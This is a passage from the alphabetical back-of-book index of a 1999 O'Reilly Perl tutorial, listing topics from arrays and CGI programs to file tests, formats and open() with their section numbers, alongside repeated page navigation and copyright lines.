anchoring, in regular expressions : 7.3.3. Anchoring Patterns
appending to a file : 10.2. Opening and Closing a Filehandle
Apple Macintosh, and Perl : 1.3. Availability
archaeology : 15.2. Extracting and Replacing a Substring
arguments, to subroutines : 8.4. Arguments
@ARGV
for command-line arguments : 6.2. Input from the Diamond Operator
example of accessing : A.12. Chapter 13, File and Directory Manipulation
array assignment operator : 3.4.1. Assignment
array elements
accessing : 1.5.5. More than One Secret Word
numbering of : 3.4.2. Array Element Access
referencing : 3.4.2. Array Element Access
array expression, as subscript : 3.4.2. Array Element Access
array literals : 3.2. Literal Representation
array operators : 3.4. Array Operators and Functions
array variables : 3.3. Variables
in array literals : 3.4.1. Assignment
assigned scalar values : 3.4.1. Assignment
automatically growing : 3.4.2. Array Element Access
default value of : 3.3. Variables
foreach statement and : 4.5. The foreach Statement
interpolated into strings : 3.7. Variable Interpolation of Arrays
in scalar context : 3.4.1. Assignment
arrays
1.5.5. More than One Secret Word
3.1. What Is a List or Array?
associative : (see associative arrays)
empty : 3.2. Literal Representation
readdir(�) and : 12.5. Reading a Directory Handle
referencing elements : 3.4.2. Array Element Access
size boundaries : 3.1. What Is a List or Array?
slices of : 3.4.2. Array Element Access
Artistic License : 1.3. Availability
assigning to a substr(�) operator : 15.2. Extracting and Replacing a Substring
assigning to an array : 1.5.5. More than One Secret Word
assignment, binary : 2.6.1. Binary Assignment Operators
assignment operator : 2.6. Scalar Operators and Functions
associative array key : 1.5.6. Giving Each Person a Different Secret Word
associative array operators : 5.4. Hash Functions
associative arrays
1.5.6. Giving Each Person a Different Secret Word
5.1. What Is a Hash?
creating new elements of : 5.2. Hash Variables
example of assignment to : 1.5.6. Giving Each Person a Different Secret Word
literal representation of : 5.3. Literal Representation of a Hash
order in : 5.1. What Is a Hash?
removing elements from with delete : 5.4.4. The delete Function
sorting (sort-of) : 15.4. Advanced Sorting
stepping through with the each(�) operator : 5.4.3. The each Function
variables : 5.2. Hash Variables
associativity : 2.4.3. Operator Precedence and Associativity
Astro, pronouncing "Windex" : 15.1. Finding a Substring
Atari ST, Perl on the : 1.3. Availability
autodecrement operator : 2.6.2. Autoincrement and Autodecrement
autoincrement operator
2.6.2. Autoincrement and Autodecrement
4.4. The for Statement
automation with LWP : 19.10.3. Web Automation with LWP
availability of Perl : 1.3. Availability
awk programs, converting to Perl : 18.1. Converting awk Programs to Perl

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: B

\B, as anchor : 7.3.3. Anchoring Patterns
\b, example of : 7.4.4. Using Variable Interpolation
-b operator : 10.5. The -x File Tests
-B operator : 10.5. The -x File Tests
backtracking, in regular expressions : 7.3.2.2. Multipliers
backup files, and inplace editing : 17.5. Variable-Length ( Text) Databases
basename command, emulating : A.12. Chapter 13, File and Directory Manipulation
big-endian : 16.2. Packing and Unpacking Binary Data
/bin/sh, system(�) and : 14.1. Using system and exec
binary assignment operator : 2.6.1. Binary Assignment Operators
binary data, treated, using strings : 2.3. Strings
BITFTP : BITFTP
blocks
1.5.3. Adding Choices
4.1. Statement Blocks
as body of subroutine : 8.1. Defining a User Function
as body of subroutine : 1.5.9. Making It a Bit More Modular
labeled : 9.4. Labeled Blocks
looping : 9.1. The last Statement
naked : 9.1. The last Statement
brackets [燷 reference notation : 19.7.1. References
break (in C), and last operator : 9.1. The last Statement
browsers, CGI programs and : 19.2. Your CGI Program in Context

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: C

c (complement option of tr) : 15.5. Transliteration
-c operator : 10.5. The -x File Tests
-C operator : 10.5. The -x File Tests
C-shell
and globbing : 12.2. Globbing
setenv command of : 14.1. Using system and exec
Camel Book : D.5. Many, Many More Functions
canonical name, gethostbyname(�) for : 16.3. Getting Network Information
case
ignoring
1.5.7. Handling Varying Input Formats
7.5. Substitutions
in variable names : 2.5. Scalar Variables
cd command : 12.1. Moving Around the Directory Tree
cgi-bin directory : 19.9. Troubleshooting CGI Programs
CGI programs
(see also Perl)
19. CGI Programming
19.2. Your CGI Program in Context
19.10. Perl and the Web: Beyond CGI Programming
cgi-bin directory : 19.3. Simplest CGI Program
CGI.pm module
19.1. The CGI.pm Module
19.5. Less Typing
objects in : 19.8.2. Objects in CGI.pm
convenience functions : 19.5. Less Typing
guestbook program (example) : 19.8. Creating a Guestbook Program
import tags : 19.5. Less Typing
passing parameters via : 19.4. Passing Parameters via CGI
permissions and
19.8. Creating a Guestbook Program
19.9. Troubleshooting CGI Programs
references
19.7.1. References
19.11. Further Reading
scrolling lists : 19.7.2. Fancier Calling Sequences
troubleshooting : 19.9. Troubleshooting CGI Programs
:cgi tag : 19.5. Less Typing
CGI::Fast module : 19.10.2. Embedded Perl
changing directories : 12.1. Moving Around the Directory Tree
character classes, in regular expressions : 7.3.1. Single-Character Patterns
character ranges, in regular expressions : 7.3.1. Single-Character Patterns
chdir(�) operator
A.11. Chapter 12, Directory Access
12.1. Moving Around the Directory Tree
child processes : 14.4. Using fork
Chili's : Acknowledgments for the First Edition
chmod(�) operator : 13.5. Modifying Permissions
chop(�) operator
1.5.2. Asking Questions and Remembering the Result
2.6.3. The chop and chomp Functions
3.4.7. The chomp Function
examples of
A.1. Chapter 2, Scalar Data
1.5.10. Moving the Secret Word List into a Separate File
1.5.17. The Final Programs
2.7. <STDIN> as a Scalar Value
10.4. Using Filehandles
chown(�) operator : 13.6. Modifying Ownership
chr(�) operator : 16.2. Packing and Unpacking Binary Data
circle, circumference of : 2.10. Exercises
class methods : 19.8.1. Object-Oriented Programming in Perl
classes : 19.8.1. Object-Oriented Programming in Perl
close(�) operator : 10.2. Opening and Closing a Filehandle
examples of
1.5.10. Moving the Secret Word List into a Separate File
1.5.17. The Final Programs
process-filehandles and : 14.3. Using Processes as Filehandles
closedir(�) operator
A.11. Chapter 12, Directory Access
12.4. Opening and Closing a Directory Handle
cmp operator : 15.4. Advanced Sorting
examples of
A.14. Chapter 15, Other Data Transformation
A.15. Chapter 16, System Database Access
COBOL
11.1. What Is a Format?
18.3. Converting Shell Programs to Perl
Coke : 2.3.2. Double-Quoted Strings
colon (:)
example of splitting on : A.10. Chapter 11, Formats
as label suffix : 9.4. Labeled Blocks
matching with split(�) : 7.6.1. The split Function
column headers, in format : 11.1. What Is a Format?
columns, labeling : 1.5.14. Listing the Secret Words
comma (,) as array literal character : 3.2. Literal Representation
command line : D.3. The Command Line
arguments : 17.5. Variable-Length ( Text) Databases
diamond operator and : 6.2. Input from the Diamond Operator
comments, in Perl programs : 1.4. Basic Concepts
Common Gateway Interface : (see CGI programs)
comp.lang.perl (Usenet support group) : Support
comparison operators
differences between awk and Perl : 18.1. Converting awk Programs to Perl
numbers and strings : 2.4.2. Operators for Strings
comparison routine, in sorting : 15.4. Advanced Sorting
compilation failure, when symlink(�) is not supported : 13.3.2. Creating Hard and Soft Links with Perl
compiled language, Perl as a : 1.4. Basic Concepts
concatenation : 2.4.2. Operators for Strings
Configure, as Perl building tool : 1.3. Availability
constant part : 11.1. What Is a Format?
Content-Type header line
19.3. Simplest CGI Program
19.9. Troubleshooting CGI Programs
context, scalar and array : 3.5. Scalar and List Context
continue block : 9.2. The next Statement
control expression
and while statements : 4.3. The while/until Statement
of if statement : 4.2. The if/unless Statement
Control-D, as end of file : 3.6. <STDIN> as an Array
copy pass : 17.5. Variable-Length ( Text) Databases
counting characters : 15.5. Transliteration
creating processes : 14.1. Using system and exec
currently selected filehandle : 11.6.1. Using select( ) to Change the Filehandle
custom publishing systems : 19.10.1. Custom Publishing Systems

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: D

d (delete option of tr) : 15.5. Transliteration
\d, in regular expressions : 7.3.1. Single-Character Patterns
-d operator : 10.5. The -x File Tests
dangling else, and impossibility of : 4.2. The if/unless Statement
database management, using the DBM library : 17.1. DBM Databases and DBM Hashes
databases
17.4. Fixed-Length Random Access Databases
17.5. Variable-Length ( Text) Databases
date command, examples of
A.13. Chapter 14, Process Management
1.4. Basic Concepts
14.1. Using system and exec
DBM array : 17.1. DBM Databases and DBM Hashes
DBM files : 1.5.16. Maintaining a Last-Good-Guess Database
DBM library : 17.1. DBM Databases and DBM Hashes
dbmclose(�) operator
1.5.17. The Final Programs
17.2. Opening and Closing DBM Hashes
dbmopen(�) operator : 17.2. Opening and Closing DBM Hashes
examples of
A.16. Chapter 17, User Database Manipulation
1.5.16. Maintaining a Last-Good-Guess Database
1.5.17. The Final Programs
debugger : D.2. The Debugger
decimal points, in floating-point numbers : 2.2.2. Float Literals
default filehandle : 10.4. Using Filehandles
default values, implemented with || operator : 1.5.9. Making It a Bit More Modular
DEFAULT, as special value for %SIG : 14.6. Sending and Receiving Signals
defensive programming : 15.4. Advanced Sorting
defining a format : 11.2. Defining a Format
Delete as interrupt signal : 14.6. Sending and Receiving Signals
delete function : 5.4.4. The delete Function
delete(�) operator, example of : 17.3. Using a DBM Hash
deleting characters : 15.5. Transliteration
delimiters, for tr : 15.5. Transliteration
diamond operator (<>) : 6.2. Input from the Diamond Operator
examples of
A.7. Chapter 8, Functions
A.9. Chapter 10, Filehandles and File Tests
A.14. Chapter 15, Other Data Transformation
A.16. Chapter 17, User Database Manipulation
diamond operator (<\>) : 17.5. Variable-Length ( Text) Databases
examples of : 7.2. Simple Uses of Regular Expressions
die(�) operator
1.5.13. Many Secret Word Files in the Current Directory
10.3. A Slight Diversion: die
examples of
A.11. Chapter 12, Directory Access
13.3.2. Creating Hard and Soft Links with Perl
directories, renaming files into : 13.2. Renaming a File
directory handles : 12.3. Directory Handles
division, operators for : 2.4.1. Operators for Numbers
double-quote interpolation : (see variable interpolation)
double-quoted strings : 2.3.2. Double-Quoted Strings
associative array elements and : 5.4.1. The keys Function
backslash escape and : 2.3.2. Double-Quoted Strings
example of : 1.5.2. Asking Questions and Remembering the Result
variable interpolation and : 2.6.4. Interpolation of Scalars into Strings

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: E

-e command-line option, and inplace editing : 17.5. Variable-Length ( Text) Databases
-e operator : 10.5. The -x File Tests
e option to substitute operator : D.5.2. The eval Operator (and s///e)
each(�) operator : 5.4.3. The each Function
examples of
A.16. Chapter 17, User Database Manipulation
17.3. Using a DBM Hash
echo command, and globbing : 12.2. Globbing
editors, and updating databases : 17.5. Variable-Length ( Text) Databases
elements of array : 3.1. What Is a List or Array?
else keyword : 4.2. The if/unless Statement
elsif keyword
1.5.5. More than One Secret Word
4.2. The if/unless Statement
example of
A.3. Chapter 4, Control Structures
15.4. Advanced Sorting
email, example of handling : 9.1. The last Statement
embedded Perl : 19.10.2. Embedded Perl
empty array : 3.2. Literal Representation
empty list : 3.2. Literal Representation
and clearing out associative array : 5.4.2. The values Function
as default value for array variable : 3.3. Variables
as return value from getpwent(�) : 16.1. Getting Password and Group Information
end of file
Control-D as : 3.6. <STDIN> as an Array
detecting, introduced : 1.5.10. Moving the Secret Word List into a Separate File
end tokens : 19.3. Simplest CGI Program
endgrent(�) operator : 16.1. Getting Password and Group Information
endpwent(�) operator : 16.1. Getting Password and Group Information
%ENV variable : 14.1. Using system and exec
environment variables, controlling through %ENV : 14.1. Using system and exec
eof(�) (Perl) : 19.8.2. Objects in CGI.pm
eq operator : 2.4.2. Operators for Strings
example of
1.5.3. Adding Choices
1.5.17. The Final Programs
equal sign (=)
as array assignment operator : 3.4.1. Assignment
as assignment operator : 2.6. Scalar Operators and Functions
eval(�) operator
D.5.2. The eval Operator (and s///e)
11.1. What Is a Format?
exec(�) operator : 14.4. Using fork
execute bit, and Perl programs : 1.4. Basic Concepts
exit status, and die(�) : 10.3. A Slight Diversion: die
exit value : 14.4. Using fork
exit(�) operator : 14.4. Using fork
exponential notation, in floating-point numbers : 2.2.2. Float Literals
exponentiation operator (**) : 2.4.1. Operators for Numbers
export command, emulating : 14.1. Using system and exec
expressions
in array literals : 3.2. Literal Representation
in subroutine body : 8.3. Return Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: F

-f operator : 10.5. The -x File Tests
false
definition of : 4.2. The if/unless Statement
regular expressions and : 7.2. Simple Uses of Regular Expressions
Fast module : 19.10.2. Embedded Perl
field definition line, introduced : 1.5.14. Listing the Secret Words
field value line, introduced : 1.5.14. Listing the Secret Words
fieldlines of format : 11.2. Defining a Format
filehandles
1.5.10. Moving the Secret Word List into a Separate File
10.1. What Is a Filehandle?
default : 10.4. Using Filehandles
formats and : 11.3. Invoking a Format
indirect : 12.2. Globbing
print(�) operator and : 1.5.12. Warning Someone When Things Go Astray
as processes : 14.3. Using Processes as Filehandles
read(�) parameters : 17.4. Fixed-Length Random Access Databases
reading from : 10.4. Using Filehandles
seek(�) parameters : 17.4. Fixed-Length Random Access Databases
uppercase : 1.5.10. Moving the Secret Word List into a Separate File
filename glob : 1.5.13. Many Secret Word Files in the Current Directory
files
age, example of : 1.5.11. Ensuring a Modest Amount of Security
appending to : 10.2. Opening and Closing a Filehandle
information about, with stat(�) : 10.6. The stat and lstat Functions
linking : 13.3. Creating Alternate Names for a File: Linking
modifying permissions/ownership : 13.5. Modifying Permissions
modifying timestamps of : 13.7. Modifying Timestamps
opening : 10.2. Opening and Closing a Filehandle
removing : 13.1. Removing a File
renaming : 13.2. Renaming a File
testing for existence : 10.5. The -x File Tests
filled fields, in formats : 11.4.4. Filled Fields
find command : 12.5. Reading a Directory Handle
finding substrings : 15.1. Finding a Substring
floating-point exception, as a signal to a process : 14.6. Sending and Receiving Signals
floating-point numbers
2.2.1. All Numbers Use the Same Format Internally
2.2.2. Float Literals
footnotes, meaning of : Conventions Used in This Book
for statement : 4.4. The for Statement
example of
A.3. Chapter 4, Control Structures
9.4. Labeled Blocks
for(�) operator, example of : A.17. Chapter 18, Converting Other Languages to Perl
foreach statement
1.5.16. Maintaining a Last-Good-Guess Database
4.5. The foreach Statement
example of
A.3. Chapter 4, Control Structures
A.4. Chapter 5, Hashes
A.11. Chapter 12, Directory Access
A.15. Chapter 16, System Database Access
1.5.17. The Final Programs
12.5. Reading a Directory Handle
17.3. Using a DBM Hash
foreach(�) operator, example of : A.5. Chapter 6, Basic I/O
fork operator : 14.4. Using fork
fork(�) system call : 14.4. Using fork
:form import tag : 19.5. Less Typing
<FORM> tags : 19.2. Your CGI Program in Context
format definition
examples of
A.10. Chapter 11, Formats
1.5.14. Listing the Secret Words
location in source file : 11.2. Defining a Format
format keyword
1.5.14. Listing the Secret Words
11.2. Defining a Format
example of : 1.5.17. The Final Programs
format names
changing : 11.6.2. Changing the Format Name
selecting : 11.2. Defining a Format
formats : 11.1. What Is a Format?
changing top-of-page format name : 11.6.3. Changing the Top-of-Page Format Name
constant part : 11.1. What Is a Format?
defining : 11.2. Defining a Format
defining text fields : 11.4.1. Text Fields
fieldholders and fieldlines : 11.2. Defining a Format
invoking : 11.3. Invoking a Format
multi-line fieldholder : 11.4.3. Multiline Fields
templates for : 11.2. Defining a Format
top-of-page : 11.5. The Top-of-Page Format
variable part : 11.1. What Is a Format?
whitespace within : 11.2. Defining a Format
formatted output, printf(�) and : 6.3.2. Using printf for Formatted Output
formfeed, and top-of-page format : 11.5. The Top-of-Page Format
forms, HTML
19.2. Your CGI Program in Context
19.6. Form Generation
elements of : 19.7. Other Form Elements
FTP : FTP
FTPMAIL : FTPMAIL
functions, importing to CGI programs : 19.5. Less Typing

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: G

g (global replace option) : 7.5. Substitutions
g (regular expression match modifier) : D.4. Other Operators
-g operator : 10.5. The -x File Tests
GCOS field : 16.1. Getting Password and Group Information
example of interpreting : A.6. Chapter 7, Regular Expressions
generating reports
1.5.14. Listing the Secret Words
11.1. What Is a Format?
getgrent(�) operator : 16.1. Getting Password and Group Information
getgrgid(�) operator : 16.1. Getting Password and Group Information
getgrnam(�) operator : 16.1. Getting Password and Group Information
gethostbyname(�) operator : 16.3. Getting Network Information
getopt, and the Perl standard library : 6.2. Input from the Diamond Operator
getpwent(�) operator : 16.1. Getting Password and Group Information
example of : A.15. Chapter 16, System Database Access
getpwnam(�) operator : 16.1. Getting Password and Group Information
getpwuid(�) operator : 16.1. Getting Password and Group Information
glob : 1.5.13. Many Secret Word Files in the Current Directory
global replace
example of : A.9. Chapter 10, Filehandles and File Tests
in substitute operator : 7.5. Substitutions
global variables, and subroutines : 8.1. Defining a User Function
globbing : 12.2. Globbing
compared with regular expressions : 12.2. Globbing
example of, with unlink(�) : 13.1. Removing a File
variable interpolation and : 12.2. Globbing
GNU Public License : 1.3. Availability
goto, unnecessary in Perl : 9.4. Labeled Blocks
graphical input devices
19.6. Form Generation
19.7. Other Form Elements
19.8.2. Objects in CGI.pm
greediness in regular expressions : 7.3.2.2. Multipliers
grep command
compared with Perl : 1.5.7. Handling Varying Input Formats
emulating -i flag of : 7.4.2. Ignoring Case
example of : 7.2. Simple Uses of Regular Expressions
group file, accessing : 16.1. Getting Password and Group Information
group ID, example of accessing : 10.6. The stat and lstat Functions
gt operator : 2.4.2. Operators for Strings
gt operator : 2.4.2. Operators for Strings
guestbook program (example) : 19.8. Creating a Guestbook Program

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: H

hard links : 13.3. Creating Alternate Names for a File: Linking
Hello, world (program example) : 1.5.1. The "Hello, World" Program
here documents : 19.3. Simplest CGI Program
here strings : 2.3. Strings
hex(�) operator
2.2.3. Integer Literals
2.4.4. Conversion Between Numbers and Strings
hexadecimal numbers : 2.2.3. Integer Literals
history of Perl : 1.1. History of Perl
home directory
example of listing : 16.1. Getting Password and Group Information
in password file : 16.1. Getting Password and Group Information
HTML forms
19.2. Your CGI Program in Context
19.6. Form Generation
elements of : 19.7. Other Form Elements
:html2 and :html3 import tags : 19.5. Less Typing
human-readable databases : 17.5. Variable-Length ( Text) Databases

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: I

-i command option, for inplace editing : 17.5. Variable-Length ( Text) Databases
-i flag (ignore case)
7.4.2. Ignoring Case
7.5. Substitutions
if modifier : 9.5. Expression Modifiers
if statement : 4.2. The if/unless Statement
example of
1.5.9. Making It a Bit More Modular
1.5.17. The Final Programs
4.2. The if/unless Statement
5.4.1. The keys Function
introduced : 1.5.3. Adding Choices
not counting as looping block : 9.2. The next Statement
unless modifier
9.5. Expression Modifiers
10.3. A Slight Diversion: die
IGNORE value (%SIG) : 14.6. Sending and Receiving Signals
ignoring case
example of : 1.5.7. Handling Varying Input Formats
in substitution : 7.5. Substitutions
with i flag : 7.4.2. Ignoring Case
import tags : 19.5. Less Typing
indentation, in Perl programs : 1.4. Basic Concepts
index(�) operator : 15.1. Finding a Substring
third parameter of : 15.1. Finding a Substring
indirect filehandles : 12.2. Globbing
infinite loops : 9.3. The redo Statement
inplace editing : 17.5. Variable-Length ( Text) Databases
int(�) operator : 10.5. The -x File Tests
integers
2.2.1. All Numbers Use the Same Format Internally
2.2.3. Integer Literals
interpreted language, Perl as a : 1.4. Basic Concepts
interprocess communication, with signals : 14.6. Sending and Receiving Signals
invoking a format : 11.3. Invoking a Format
invoking a subroutine : 8.2. Invoking a User Function

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: J

join(�) operator : 7.6.2. The join Function
example of
A.15. Chapter 16, System Database Access
16.3. Getting Network Information

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: K

-k operator : 10.5. The -x File Tests
keys(�) operator : 5.4.1. The keys Function
introduced : 1.5.16. Maintaining a Last-Good-Guess Database
scalar context and : 5.4.1. The keys Function
using : 1.5.13. Many Secret Word Files in the Current Directory
keys, of assocative arrays : 5.1. What Is a Hash?
kill(�) operator : 14.6. Sending and Receiving Signals
kit'n'caboodle : 15.4. Advanced Sorting
kitty : 6.2. Input from the Diamond Operator
kludge : 9.4. Labeled Blocks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: L

-l operator : 10.5. The -x File Tests
labels : 9.4. Labeled Blocks
last access time, changing : 13.7. Modifying Timestamps
last modification time, changing : 13.7. Modifying Timestamps
last(�) operator : 9.1. The last Statement
example of
A.8. Chapter 9, Miscellaneous Control Structures
A.17. Chapter 18, Converting Other Languages to Perl
9.5. Expression Modifiers
le operator : 2.4.2. Operators for Strings
left associativity : 2.4.3. Operator Precedence and Associativity
left-right pairs as delimiters : 7.4.3. Using a Different Delimiter
length(�) operator, example of
A.15. Chapter 16, System Database Access
17.4. Fixed-Length Random Access Databases
library for WWW access in Perl (LWP) : 19.10.3. Web Automation with LWP
link(�) operator : 13.3.2. Creating Hard and Soft Links with Perl
example of : A.12. Chapter 13, File and Directory Manipulation
linking (files) : 13.3. Creating Alternate Names for a File: Linking
links, requirements for creating : 13.3.2. Creating Hard and Soft Links with Perl
list as subscript, example of
A.15. Chapter 16, System Database Access
16.1. Getting Password and Group Information
list constructor operator (..) : 3.2. Literal Representation
list expressions, and foreach statement : 4.5. The foreach Statement
list reference (in Perl 5.0) : 3.4.1. Assignment
listing the /etc directory, example of : 12.5. Reading a Directory Handle
lists
(see also arrays)
1.5.5. More than One Secret Word
3.1. What Is a List or Array?
nested : 3.4.1. Assignment
as subroutine return values : 8.3. Return Values
lists, scrolling : 19.7.2. Fancier Calling Sequences
literal lists, slices of : 3.4.2. Array Element Access
literals
array literals : 3.2. Literal Representation
of associative array : 5.3. Literal Representation of a Hash
little-endian : 16.2. Packing and Unpacking Binary Data
llamas, counting : 18.1. Converting awk Programs to Perl
ln command
and -s option, emulating : 13.3.2. Creating Hard and Soft Links with Perl
and creating links : 13.3.2. Creating Hard and Soft Links with Perl
local variables
and foreach statement : 4.5. The foreach Statement
creating, with local(�) : 8.5. Private Variables in Functions
local(�) operator : 8.5. Private Variables in Functions
example of
A.7. Chapter 8, Functions
11.4.2. Numeric Fields
loops and : 8.5. Private Variables in Functions
logical comparison operators : 2.4.1. Operators for Numbers
login names, accessing : 7.7. Exercises
login shells, example of changing : 17.5. Variable-Length ( Text) Databases
looping blocks : 9.1. The last Statement
loops
endless : 4.3. The while/until Statement
exiting early, with last : 9.1. The last Statement
infinite : 9.3. The redo Statement
local(�) and : 8.5. Private Variables in Functions
nested, exiting from : 9.4. Labeled Blocks
lowercase, example of converting to : 1.5.8. Making It Fair for the Rest
lpr command, example of : 14.3. Using Processes as Filehandles
lstat(�) operator : 10.6. The stat and lstat Functions
lt operator : 2.4.2. Operators for Strings
LWP (library for WWW access in Perl) : 19.10.3. Web Automation with LWP

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: M

m (match operator) : 7.4.3. Using a Different Delimiter
-M operator : 10.5. The -x File Tests
example of : 1.5.11. Ensuring a Modest Amount of Security
Macintosh, and Perl : 1.3. Availability
mail process, example of : 1.5.12. Warning Someone When Things Go Astray
mailing list, for Perl support : Support
main routine, unneeded in Perl : 1.4. Basic Concepts
match operator : 7.2. Simple Uses of Regular Expressions
example of : 1.5.7. Handling Varying Input Formats
matching, delimiter besides slash when : 7.4.3. Using a Different Delimiter
Max Headroom : 13.7. Modifying Timestamps
McMenamin's : Acknowledgments for the First Edition
memory fault, as a signal to a process : 14.6. Sending and Receiving Signals
menus, popup
19.7. Other Form Elements
19.7.1. References
methods : 19.8.1. Object-Oriented Programming in Perl
microbrew : Acknowledgments for the First Edition
mkdir command, mkdir(�) and : 13.4. Making and Removing Directories
mkdir(�) operator : 13.4. Making and Removing Directories
mod_perl module : 19.10.2. Embedded Perl
modes, and making directories : 13.4. Making and Removing Directories
modification time
changing : 13.7. Modifying Timestamps
example of : 1.5.11. Ensuring a Modest Amount of Security
modulus operator (%) : 2.4.1. Operators for Numbers
MS/DOS, Perl under : 1.3. Availability
multi-line fieldholder, in formats : 11.4.3. Multiline Fields
multiple commands, in arguments to system(�) : 14.1. Using system and exec
multiplication, operator for : 2.4.1. Operators for Numbers
mv command, and rename(�) : 13.2. Renaming a File
my : 8.5. Private Variables in Functions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: N

\n, in single-quoted strings : 2.3.1. Single-Quoted Strings
-n option (sed) : 18.2. Converting sed Programs to Perl
naked blocks : 9.1. The last Statement
name spaces : 3.3. Variables
name=value pairs : (see query strings)
naming subroutine arguments, using local variables : 8.5. Private Variables in Functions
ne operator : 2.4.2. Operators for Strings
example of : 1.5.4. Guessing the Secret Word
nested loops, exiting from : 9.4. Labeled Blocks
nested subroutine invocation : 8.2. Invoking a User Function
:netscape import tag : 19.5. Less Typing
new(�) : 19.8.2. Objects in CGI.pm
newlines
anon-matching by dot and : 7.3.1. Single-Character Patterns
in format value, and @* field : 11.4.3. Multiline Fields
newlines, removing : 2.7. <STDIN> as a Scalar Value
next operator : 9.2. The next Statement
example of : A.17. Chapter 18, Converting Other Languages to Perl
NUL characters, and DBM accesses : 17.3. Using a DBM Hash
numbers
automatic conversion to strings and : 2.4.4. Conversion Between Numbers and Strings
definition of : 2.1. What Is Scalar Data?
numeric fields (in formats) : 11.4.2. Numeric Fields
numeric operators : 2.4.1. Operators for Numbers
numeric order, example of sorting by : 15.4. Advanced Sorting

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: O

-O operator : 10.5. The -x File Tests
-o operator : 10.5. The -x File Tests
object methods : 19.8.1. Object-Oriented Programming in Perl
object-oriented programming : 19.8.1. Object-Oriented Programming in Perl
objects, CGI programs and : 19.8.1. Object-Oriented Programming in Perl
obscure biblical reference : 15.5. Transliteration
oct(�) operator
2.2.3. Integer Literals
2.4.4. Conversion Between Numbers and Strings
octal numbers : 2.2.3. Integer Literals
open(�) operator
10.2. Opening and Closing a Filehandle
19.8.2. Objects in CGI.pm
commands and, example of : 1.5.17. The Final Programs
example of
A.9. Chapter 10, Filehandles and File Tests
1.5.17. The Final Programs
11.3. Invoking a Format
introduced : 1.5.10. Moving the Secret Word List into a Separate File
pipe symbol and : 1.5.12. Warning Someone When Things Go Astray
plus sign and : 17.4. Fixed-Length Random Access Databases
vertical bar in : 14.3. Using Processes as Filehandles
opendir(�) operator : 12.4. Opening and Closing a Directory Handle
example of : A.11. Chapter 12, Directory Access
opening
DBM database : 17.2. Opening and Closing DBM Hashes
files : 10.2. Opening and Closing a Filehandle
operand, definition of : 2.4. Scalar Operators
operators
addition : 2.4.1. Operators for Numbers
assignment : 2.6. Scalar Operators and Functions
